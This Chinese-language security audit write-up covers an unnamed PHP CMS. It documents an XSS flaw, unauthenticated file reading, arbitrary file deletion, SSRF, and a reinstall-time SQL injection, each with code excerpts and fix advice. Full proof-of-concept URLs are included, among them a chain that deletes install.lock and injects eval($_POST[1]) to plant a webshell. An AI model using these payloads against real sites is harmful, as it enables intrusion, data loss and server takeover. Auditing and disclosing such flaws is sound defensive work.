某CMS代码审计
字数 1271 2025-08-07 00:34:58
某CMS代码审计全面解析
0x00 审计环境准备
- PHP版本:7.4
- 开发工具:VSCode + PHPDebug
- 审计方法:从index.php入口文件开始分析,逐步理解代码功能和实现逻辑
0x01 前端XSS漏洞
漏洞文件:/apiRun.php
漏洞代码:
function AutoRun(){
$mode = trim(@$_GET['mode']);
$sec = trim(@$_GET['sec']);
if (is_numeric($sec) == false){ $sec = 300; }
if ($sec < 60){ $sec = 300; }
?>
var mode = "<?php echo($mode); ?>";
漏洞分析:
mode参数直接输出到JavaScript中,未进行任何过滤或编码- 攻击者可构造恶意输入闭合引号并执行任意JS代码
POC:
/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//&sec=300
修复建议:
- 对输出到JS的变量使用
json_encode()或htmlspecialchars()进行编码 - 添加Content Security Policy(CSP)头
0x02 未授权任意文件读取漏洞
漏洞文件:admin/readDeal.php
漏洞代码:
function ReadQrCode(){
$dir = OT::GetStr('dir');
$img = OT::GetStr('img');
if (strlen($img) == 0){ die('二维码图片路径为空'); }
if (! Is::HttpUrl($img)){
$img = StrInfo::FilePath($dir, $img);
if (! file_exists($img)){ die('二维码图片不存在('. $img .')'); }
}
include_once(OT_ROOT .'inc/QrReader/QrReader.php');
$qrcode = new QrReader($img); // 图片路径
$text = $qrcode->text(); //返回识别后的文本
if (strlen($text) == 0){ die('二维码图片识别不了'); }
die($text);
}
漏洞分析:
- 文件位于admin目录但未进行权限验证
- 通过
img参数可控制文件路径 - 最终调用
file_get_contents()读取文件内容
利用方式:
- 构造恶意请求读取系统敏感文件(如/etc/passwd)
- 结合路径遍历可读取任意文件
修复建议:
- 添加管理员权限验证
- 限制文件读取路径范围
- 对输入路径进行严格校验
组合拳攻击:GetShell
0x01 任意文件删除漏洞
漏洞文件:userCenter_deal.php
漏洞代码:
// 文件删除逻辑
File::Del($dashangImg1Old);
漏洞分析:
- 通过
dashangImg1Old参数可控制删除的文件路径 - 无路径遍历防护,可删除系统任意文件
- 仅检查Referer防御CSRF,但可伪造
POC:
http://127.0.0.1/usersCenter_deal.php?mudi=rev&revType=app&dashangImg1=huahua&dashangImg2=huahua&dashangImg3=huahua&dashangImg1Old=../../cache/web/install.lock
Referer:http://127.0.0.1
重装GetShell
漏洞文件:install/index.php
漏洞分析:
- 删除install.lock后可触发重装
- 重装过程中
accBackupDir参数存在SQL注入 - 注入点可直接执行PHP代码
POC:
http://127.0.0.1/install/index.php?mudi=run&accBackupDir=1');eval($_POST[1]);#&accDir=&accName=&adminDir=admin&adminName=admin&adminPwd=admin&dbType=mysql&isImport=2&mysqlState=1&sqlDbName=OTCMS&sqlIp=localhost&sqlPo=3306&sqlPref=OT_&sqlUserPwd=root&sqlUsername=root
修复建议:
- 对重装参数进行严格过滤
- 使用预处理语句防止SQL注入
- 限制install目录访问权限
0x03 后台SSRF漏洞
漏洞文件:inc/classReqUrl.php
漏洞代码:
public static function UseCurl($method, $url, $charset='UTF-8', $dataArr=array()){
if (empty($url)){
return array('res'=>false, 'note'=>'UseCurl:网址为空');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// ...省略其他curl配置...
$data = curl_exec($ch);
漏洞分析:
- 通过info_deal.php中的
img参数可控制请求URL - 无URL白名单或黑名单限制
- 可访问内网服务或探测内网信息
利用方式:
- 探测内网服务
- 攻击内网脆弱服务
- 读取云服务元数据
修复建议:
- 实现URL白名单机制
- 禁用危险协议(file://, dict://等)
- 限制访问内网IP段
总结
该CMS存在多个严重安全漏洞,包括:
- 前端XSS漏洞
- 未授权任意文件读取
- 任意文件删除
- 重装过程中的SQL注入导致RCE
- 后台SSRF漏洞
整体修复建议:
- 对所有用户输入进行严格过滤和验证
- 实现完善的权限控制系统
- 使用预处理语句防止SQL注入
- 对文件操作进行路径限制
- 禁用危险函数和协议
- 实施最小权限原则
- 定期进行安全审计和代码审查
这套CMS源码整体安全防护较弱,开发者在设计时未充分考虑安全因素,导致多个高危漏洞存在。建议开发者参考OWASP Top 10等安全规范进行代码重构。